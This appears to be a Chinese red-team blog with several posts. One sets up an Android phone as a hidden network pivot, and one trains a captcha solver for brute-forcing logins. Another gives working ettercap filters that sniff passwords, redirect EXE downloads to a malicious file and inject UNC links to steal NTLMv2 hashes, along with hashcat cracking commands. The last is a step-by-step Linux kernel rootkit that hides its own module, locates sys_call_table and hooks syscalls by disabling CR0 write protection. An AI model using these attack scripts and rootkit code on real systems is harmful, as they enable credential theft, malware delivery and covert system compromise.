安卓网络中继中的一些小操作

前言

考虑整一个近源网络跳板,平均下来便宜+简单的实现就是弄一个安卓手机了,4G卡用来控制手机,然后用WIFI接入,再选择是否通过4G卡转发。感觉可以试着整一个,毕竟自带4G上网模块又有wifi模块不考虑性能低端机成本又低
稍微看了下第一个问题就是安卓默认机制是不能同时使用wifi和4G。
第二个是得考虑如何转发emmmmm
看了一下,其实也不需要魔改安卓系统,倒是可以用命令行进行一些操作。具体操作基本就是insmod加载wifi驱动然后启用网卡然后用命令行连接ap然后写路由就行
大概有了点思路,就弄一个openvpn,作为服务写到安卓系统里默认启动,然后再做一个c2控制器,用来控制连接wifi,断开wifi等以及修改openvpn路由等操作,然后这个c2控制器永远走4G流量,必要的时候可以通过c2控制器修改路由表进行桥接wifi流量啊,转发wifi流量啊或者让指定程序只走wifi流量这样子。。大概就能简单又轻松的实现想要的功能了。
现在的问题是,有什么机器是,便宜(<=100)又电池(>=3500毫安)又大又能解锁(虽然我觉得低端机大多数都是直接拿exp就能拿root的)的

更新

后面思考了一下,其实并不一定需要内置openvpn,其实只要内置一个标准的tty给反弹出来,需要的时候根据需求起动相关服务就行。本篇文章就记录下当你有一个安卓shell时候的一些小操作。

获得temux环境

直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码

resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l

注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。

因为有时候adb的默认权限是shell,会引发一些权限问题。如图
1.jpg

配置wifi/4g/otg共通

这章才是本篇的重头戏,毕竟openvpn配不来无所谓,实在不行起个frp也是一样凑合的打,不一定要openvpn。但是不能wifi和4g同时上网那可是不行的,不然遇到奇怪的网络环境甚至是不出网的网络环境,我们的这个跳板也就基本白费了。

默认手机基本是根据网络路由来连接的,我们只需要设置一下路由就行。

比如我们的4G使用的是rmnet_data3网卡,wifi走的是wlan0网卡

那么我们只需要使用命令

ip rule add to 我们管理端IP/32 table rmnet_data3

就可以让管理端IP通过4g出网

使用iw连接目标wifi

iw list // 列出WIFI网卡的性能
svc wifi enable //启用wifi模块
iw dev wlan0 scan // 扫描附近可连接WIFI AP
iw wlan0 connect dswei // 连接到不加密的WIFI,WIFI名字为dswei
iw wlan0 connect dswei keys d:0:baiwenwang123 // 连接到WEP加密的WIFI,WIFI名为dswei,d: default, 0: 第0个密码

连接成功以后可以在手机上看到有设备连接,这样我们就能连进目标内网进行愉快的玩耍啦

配置开机自启动

adb切换usb传输模式

进阶:path 添加模拟hid设备支持

这章可能会咕咕咕

openvpn(废弃,没啥用,不如直接frp反弹个个出来)

第一步,既然是作为跳板,其实直接部署一个frp或者natsocks直接转发出一个socks5出来是最最最简单的状态,并且这些东西都是用golang编写的,直接跨平台交叉编译arm版本的frp或者natsocks就行。简单粗暴。但是考虑到内网实战环境,比如一些路由、数据嗅探(这个是主要的)、桥接等等七七八八的问题。所以打算整一套openvpn先。

为了后续方便,我们先安装一个termux先。termux自带了openvpn,理论上可以直接pkg install openvpn,然后我看它给的单独那个二进制有点问题。起不来,还阉割了许多东西。所以直接进行一个openvpn的编译就行。

正巧,termux能很方便的给我们整出一个完整的编译链。所以接下来的调试我们都直接用termux进行,然而在电脑上操作手机都是直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码

resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l

注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。

因为有时候adb的默认权限是shell,会引发一些权限问题。如图
1.jpg

之后在termux中的shell里,我们只需要

pkg install clang
pkg install cmake

安装基础环境,之后直接去github下载openvpn,github地址:https://github.com/OpenVPN/openvpn

切换成root进行编译,因为安卓的一些读写机制,/sdcard这类地方是没办法设置权限的,所以尽量把下载的数据放到/tmp或者放到termux目录(/data/data/com.termux/files/home)下,这类地方才可以设置权限。

给configure设置u+x权限,然后执行后。会出现以下各种奇奇怪怪的问题,首先就是缺少依赖
2.jpg
这种直接使用pkg安装就行,比如如图的lzo,我们可以用pkg install liblzo-dev解决。

再或者就是遇到这种:
3.jpg
直接在编译后面加上它的--disable-xxxxx就行,总之它说啥就是啥。加上这些之后,基本configure就会通过生成MakeFile文件啦。

4.jpg

之后自信满满的make,就会发现,啊
5.jpg
所以直接运行pkg install automake,之后使用automake就能编译出这些依赖。

6.jpg

之后使用make等待编译成功就行了。然后就可以使用make install了。这时候你就会发现一些/或者/usr这些目录是没有办法写的,因为挂载的时候就没有相关权限。这时候我们就需要运行df -h,查看相关挂载,并使用mount -o rw,remount /来对相关目录就行重新读写挂载

MakeFile默认的安装目录是/usr/local,我这挂载点是/,所以直接运行mount -o rw,remount /就行了。如果要修改地址就自己修改脚本修改到其他地址即可。

然后你就会发现openvpn安装成功了。

7.jpg

直接使用easy-rsa,直接去github上下载,直接下载release,然后chmod下就能使用了。之后直接参考:[OpenVPN服务部署
][8]

8.jpg

生成完证书,再根据需要写一下配置文件,最后运行 openvpn --config /your_conf_path.conf就可以跑起来啦

9.jpg

Tags: 安卓

工作组环境下的内网渗透:一些基础打法

前言

好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。

但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。

这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。

现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。

极简模式

简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

tcpdump.png

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

tiqu.png

然后,我们要找的就是类似于

test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000

这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。

然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

hashcat.png

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。

下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg

极简模式II:使用responder

直接在kali中,运行responder -I eth0 -w,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。

具体体现在

链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。

而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。

当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

resp.png

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。

主动出击:ETTERCAP内网嗅探与劫持

这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基

使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。

毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。

所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。

直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关// ,这样我们就可以看到目标机器的所有流量了

ettercap.png
这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。

直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user


if ( tcp.src == 80 || tcp.dst == 80) { 
        if (search(DATA.data,"password")) {
                log(DATA.data, "/tmp/tmp.log");
        }
}

上面是保存http中带有password的,甚至可以把第一句tcp.src == 80也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//,就可以开始嗅探http请求的明文流量了。

QQ截图20220430175148.png

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, “Accept-Encoding”)) {
        replace("Accept-Encoding", "Accept-Mousecat");
        msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("keep-alive", "close" );
    replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
    msg("found EXE\n");
    if (search(DATA.data, "Win32")) {
        msg("doing nothing\n");
    } else {
        replace("200 OK", "301 Moved Permanently
        Location: http://你的恶意exe/setup.exe");
        msg("redirect success\n");
    }
}

这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。

以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?

配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?

直接对fileter修改

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding","Accept-AAAA");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}

然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。

结语

和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。

Tags: 内网, 红队, 劫持, mitm, 嗅探, 工作组, ettercap

基于验证码识别的机器学习项目captcha_trainer操作实践

前言

很多时候,外网打点,资产就那么点,社工钓鱼又钓不进去,那么怎么办呢?这时候只能传统艺能爆破来解决问题了。

但是,抛开IP先不说,现在登录多多少少都会有加上验证码用于防止爆破,但是这种东西肯定不能阻挡我们的脚步。所以最简单的办法就是整个自动用于验证码识别的玩意。下至OCR上至机器学习乃至购买云打码。因为我们穷云服务肯定整不起,OCR识别率又堪忧,所以最简单的办法就是去github整一个。

说明

本篇就是一个踩坑文章(然而作者的项目写的非常不错,并没有遇到什么坑hhhh),用于记录,没有什么技术含量。我才不会说我是实在想不出写什么东西才水一篇文章的呢,哼~

最近快毕业了,什么毕业论文啊个人音乐会啊毕业音乐会啊专场啊以及最讨厌的查缺补漏(指舞蹈重修)。虽然说这些事并不麻烦,但是确实都是事,每天就这么磨洋工一点一点的磨磨唧唧但是也确实在解决。导致我用一般只日站,很少沉下心来写这些完整的学习报告了。虽然说日站过程中也会遇到一些新鲜的东西,例如这次就遇到很多K8s啊,云安全啊但是这些并没有完整的,全面的研究,导致博客一直不知道写啥。所以就搞了水了一些实践报告,网络上也有他人的实践记录。但是我会尽量把所有的坑给列出来。

话不多说,开整。

开整

既然不是自己写项目而是用东西,那肯定是怎么简单怎么来,去年还是前年我用过
https://github.com/nickliqian/cnn_captcha 项目跑过训练,效果确实不错,然而截至至今(2022年4月22日),该项目大部分依赖已经爆炸,遂直接放弃

最后还是选择使用captcha_trainer 项目来使用。凑巧的是,作者也在FreeBuf上发布过文章,详细说明了如何使用该项目,详情可以看这里

验证码识别新革命:源码+通用识别模型

然而作者对于Linux部分写的很详细,对于Windows部分却是一笔带过。刚好我用的是windows,就顺带记录了。

话不多说,开整。

安装CUDA

首先是下载项目,直接git clone就行,重点是第二部

目前为止,如果你是使用CPU训练,那么可以跳过下面这一步骤,因为源码已经加入代码默认支持CPU了,不需要进行过多操作,如果是GPU,就需要安装CUDA和CuDnn。直接根据文章,从官网下载

下载完以上上面,首先得先安装CUDA,安装完毕之后,解压CUDNN,然后根据cudnn/install-guide
找到CUDA安装目录,这里假设CUDA安装目录是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
复制 bin\cudnn*.dllC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\bin.复制 include\cudnn*.hC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\include.复制 lib\x64\cudnn*.lib 到 C:Program FilesNVIDIA GPU Computing ToolkitCUDAvx.xlibx64.`

之后把CUDA目录,也就是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\添加到PATH环境变量中,注意不带bin。

然后还得安装zlib运行库,不然会出现Could not locate zlibwapi.dll. Please make sure it is in your library path,也是根据上面的文档,从ZLIB DLL下载压缩包,把里面的各种.lib文件和.dll文件全部一股脑丢PATH下,你可以选择创建一个PATH,反正我是全部直接丢到system32下。通过以上这些,CUDA就安装好了

安装本体

我用的是python3.10.3,实际上是可以直接使用的

回到我们项目文件,我们可以使用作者的venv,也可以直接莽上去,开干。我的建议是用一些pyvenv。

直接python -m pip install pyvenv。然后记得使用cmd,执行cd venv/ && Scripts/active.bat,看到前面出现(venv)就说明环境载入成功了。

然后就是修改requirements.txt文件,把最后的tf-nightly-gpu==2.8.0.dev20211021改成tf-nightly-gpu即可。

如果是用CPU渲染,就直接安装tf-nightly就行。

记得使用pip安装的时候,务必使用代理,可以用自带--proxy命令指明socks5代理或者像我一样用Proxifier直接把pipy.org加入代理规则里。

安装完requirements.txt之后,直接运行python app.py,还会出现一些依赖错误比如pillow啊这些的,剩下的基本就是缺啥装啥就好了。

之后运行python app.py

QQ截图20220423004331.png

就能打开界面。

训练

对于开源项目来说,我们可以直接把源码部分扒出来,根据作者的要求,只需要生成格式为 验证码原始内容_md5.png 类型的图片放置到目录下就行。我们直接随手谷歌找了一个python验证码生成的代码生成一些数据试试。

import os
import random
import io
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import hashlib
def random_color():
    c1 = random.randint(0, 255)
    c2 = random.randint(0, 255)
    c3 = random.randint(0, 255)
    return c1, c2, c3
def generate_picture(width=120, height=35):
    image = Image.new('RGB', (width, height), random_color())
    return image
def random_str():
    random_num = str(random.randint(0, 9))
    random_low_alpha = chr(random.randint(97, 122))
    random_char = random.choice([random_num, random_low_alpha])
    return random_char
def draw_str(count, image, font_size):
    draw = ImageDraw.Draw(image)
    # 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小
    font_file = os.path.join('andale-mono.ttf')
    font = ImageFont.truetype(font_file, size=font_size)
    temp = []
    for i in range(count):
        random_char = random_str()
        draw.text((10+i*30, -2), random_char, random_color(),font=font)
        temp.append(random_char)
    valid_str = "".join(temp)    # 验证码
    return valid_str, image
def noise(image, width=120, height=35, line_count=3, point_count=20):
    draw = ImageDraw.Draw(image)
    for i in range(line_count):
        x1 = random.randint(0, width)
        x2 = random.randint(0, width)
        y1 = random.randint(0, height)
        y2 = random.randint(0, height)
        draw.line((x1, y1, x2, y2), fill=random_color())

        # 画点
        for i in range(point_count):
            draw.point([random.randint(0, width), random.randint(0, height)], fill=random_color())
            x = random.randint(0, width)
            y = random.randint(0, height)
            draw.arc((x, y, x + 4, y + 4), 0, 90, fill=random_color())

    return image
def valid_code():
    image = generate_picture()
    valid_str, image = draw_str(4, image, 35)
    image = noise(image)
    m = hashlib.md5()
    with io.BytesIO() as memf:
        image.save(memf, 'PNG')
        data = memf.getvalue()
        m.update(data)
        md5 = m.hexdigest()

    f = open("demo/trains/{}_{}.png".format(valid_str,md5),"wb")
    image.save(f, 'png') 
    f.close()
    return valid_str,md5
if __name__ == '__main__':
    for i in range(1,60000):
        valid_code()

在项目目录下创建一个demo/trains目录,并运行该代码,就会在该目录生成59999张验证码。之后我们在app.py里的project区随便新建一个项目名
2.png
之后点击Trining Path里的Browse选项,把我们刚刚生成的目录添加进去

3.png

之后点击底下的Make Dataset把我们生成的打包成TFRecords文件,然后点Start Tringing就可以开始训练了
4.png

如果你的显卡好的话,大概几分钟,这6W张图片就能训练完成。效率还是很快的

之后我们点击Test,会让我们选择文件夹,我们就可以用这个来验证识别率辣。保险起见我们用上面的代码生成一个Test2文件夹来存放新的。

然后运行Test,测试下效果。

5.png

可以看出来效果还是挺不错的,对于开源项目使用这个方法,就可以快速训练出匹配的模型,成功率还是非常高的。重点是非常的方便快捷

部署以及武器化

作者自带了一个框架captcha_platform,我们可以直接使用该项目。

用作部署于服务器的话,没必要上GPU,CPU跑模型就行,所以可以跳过上面的安装CUDA和cuDNN的操作。

安装方法也很简单,直接运行python -m pip install -r requirements.txt就行。

注意,如果是本机部署(和上一个项目同一台机器)的推荐删除requirements.txt里的tf-nightly项,避免环境造成冲突。

之后把我们在captcha_trainer里生成的模型,一般目录是Project/模型名称/out,里的两个文件夹,复制到captcha_platom目录下,然后运行tornado_server.py就行。
6.png

然后根据文档。运行tornado_server.py后会起一个API。地址为http://127.0.0.1:19952/captcha/v1,请求方式为application/json,具体参数查看作者的FreeBuf文章即可

7.png
我们试着调用一下
9.png
总体就大功告成辣。

通用化识别

以上我们就针对单一,开源,容易采集的项目进行了识别,但是对于那些闭源的目标来说,单纯用我们python生成的验证码跑识别成功率基本就没法看了。想要提高成功率,基本就是得对不同字体(包括与斜度),不同背景(花纹,纯色,甚至图片背景),不同扭曲程度(PS魔术棒!),不同噪点的验证码进行一个数据的生成然后在进行投喂。同时,传入参数的时候也比不能忘记把图片的分辨率来调整成我们训练时候的分辨率。来尽可能模仿目标。

结尾 & 后续

解决了验证码这个拦路虎,还有一个问题就是banIP了,下次看看怎么解决这个吧,估计会出一个云函数实践相关的,咕咕咕了。

Tags: python, 机器学习, 验证码, 红队

近况

快毕业了,写论文中,烦躁,没时间更新。

Tags: none

Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写

前言

本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。

经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。

先确定目标,我们的rootkit必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏CPU指行状态等,对其他程序进行隐藏,第三个就是想到再说

首先第一步,我们先从网络上最简单的hello,world开始

//hello.c
#include <linux/init.h>  
#include <linux/module.h>  
   
MODULE_LICENSE("GPL");  
static int hello_init(void)  
{  
  printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}  
   
module_init(hello_init);  
module_exit(hello_exit);  
//Makefile
obj-m :=hello.o  
KERNEL :=/lib/modules/$(shell uname -r)/build 
PWD :=$(shell pwd)  
modules :  
    $(MAKE) -C $(KERNEL) M=$(PWD) modules  
.PHONEY:clean  
clean :  
    rm -f *.o *.ko  

上面就是要给最简单的hello,world最简单的代码。

然而想要直接编译我们还得先安装一个源码包,否则没法编译

apt install build-essential
apt install linux-headers-`uname -r`

根据系统的不同自行替换包管理软件,反正大体都是linux-headers-xxx之类的软件。至于build-essential,不同系统有不同的叫法,比如arch是base-devel。centos是。。什么什么devel来着总之就是类似的东西。

安装了之后才会在/lib/modules/下有当前系统的源码包,我们以上的代码才能编译。

编译成功后会在系统下面生成一个ko文件,使用insmod可以进行加载,lsmod可以查看所有安装的模块,然后试rmmod可以对模块进行删除。

hello_ko.png

隐藏自身

由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北

这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么lsmod工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。

简单的使用方法就是如下

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

上述的方案就是删除/proc/modules。/sys/modules和kobj中的链表相关内容。这样执行之后我们的模块就无法通过lsmod这类工具查找出来了。

其中THIS_MODULE是一个C的宏,指向模块自身。
this_module.PNG

隐藏文件?no! 得先看看如何HOOK

使用strace我们可以看到ls的所有栈调用,我们可以从中选择我们希望hook的函数。

我们在ring3下使用LD_PRELOAD的方式就是hook readdir函数。然而在内核中,我们应该直接HOOK系统调用号。

现在唯一的问题就是如何HOOK

对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是HOOK哪里。又回到了老生常谈的寻址问题。

在早期内核中,有一个非常简单的寻址方式就是利用kallsyms_lookup_name
直接通过kallsyms_lookup_namelookup_address找到sys_call_table的地址然后就可以直接使用该地址

   syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
   
   /* get the page table entry (PTE) for the page containing sys_call_table */
   pte = lookup_address((long unsigned int)syscall_table, &level);

通过上面的方法就可以随心所欲的找到我们的目标地址并进行HOOK,然而

[Unexporting kallsyms_lookup_name()][4]

kallsyms_lookup_name模块最近被废止了。至少在比较新的系统上是无法使用它了。

然后就是网络上的其他方法,最典型的是暴力搜索法。

意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧

虽然说kallsyms_loopup_name是无法使用,但是如果直接读取/proc/kallsyms,还是能获得到地址的

sudo cat /proc/kallsys |grep -w sys_call_table

接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法

unsigned long **get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
      if(entry[__NR_close] == (unsigned long *)sys_close)
          return entry;
    }
    return NULL;
}

使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在2.6之后sys_close被替换成了ksys_close,然而即使替换程了ksys_close也无法使用。

这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。

接下来就是文章中另外一个用法:/boot/System.map

然而,从v5.10 之后,System.map将不再提供地址信息了。详细可以参考这里:Linux Kernel

cat /boot/System.map-5.14.0-kali4-amd64                                                                                                                                                                                             
ffffffffffffffff B The real System.map is in the linux-image-<version>-dbg package

接下来就是根据IDT表查找,然而我使用了sidt指令后无论如何都不给我返回正确的地址。。

在一番的搜寻后,我发现了如下方法

ftrace辅助查找法

这是一个非常新的技术,专门适用于 >5.7 的linux 版本系统,详细可以查看这个文章

Linux Rootkits: New Methods for Kernel 5.7+

根据文章,我们可以直接使用

#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};


static void test(){
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");

    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
}

就可以获得到syscall_table的地址。
get_it.png

接下来我们直接试着修改表内容,遇到的第一个问题就是cr0保护问题,

我使用如下代码

      write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      write_cr0(read_cr0() | 0x10000); // 恢复写保护

遇到了如下问题:

[   11.148893] CR0 WP bit went missing!?

经过一番查找,发现是在高版本中,内核会判断write_cr0是否被修改导致引发panic,根据如下的解决方案

[how-to-write-to-protected-pages-in-the-linux-kernel][9]

自定义一个inline function修改cr0值就可以,最后目前我们的代码如下

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");  
#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long *syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void myfunc(void)
{
  printk(KERN_ALERT "hook test!\n");
  return;
}
static int hello_init(void)  
{  
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    syscall_table = kallsyms_lookup_name("sys_call_table");
    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
    if (syscall_table)
    {
      disable_write_protection();// 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      enable_write_protection(); // 恢复写保护
      printk(KERN_ALERT "hook success\n");
    } else {
      printk(KERN_ALERT "hook failed\n");
    }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  

  if (syscall_table) {
    disable_write_protection(); 
    syscall_table[__NR_uname] = oldadr; // 恢复原地址
    enable_write_protection();
    printk(KERN_ALERT "resume syscall table, module removed\n");
  }
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}
module_init(hello_init);  
module_exit(hello_exit);  

然后Makefile文件不变,在我linux-5.14下编译通过

HOOK

上面的代码我们使用了syscall_table[__NR_uname] 进行函数的HOOK,这样不是不行,但是我们都引用了ftrace包了,自然应该使用更优雅的HOOK方案。

详细文档在这:Using ftrace to hook to functions - kernel.org

直接根据文档


struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
};


ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);

register_ftrace_function(&ops);

就这样,一个HOOK就做好了。该HOOK和我们以往的HOOK并不太一样,以往的HOOK都是直接暴力修改sys_call_table的地址。

然而ftrace是用其他的实现方式,文档中使用了callback进行HOOK函数的回调,原型如下

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

然后,每个参数的功能如下。

@ip
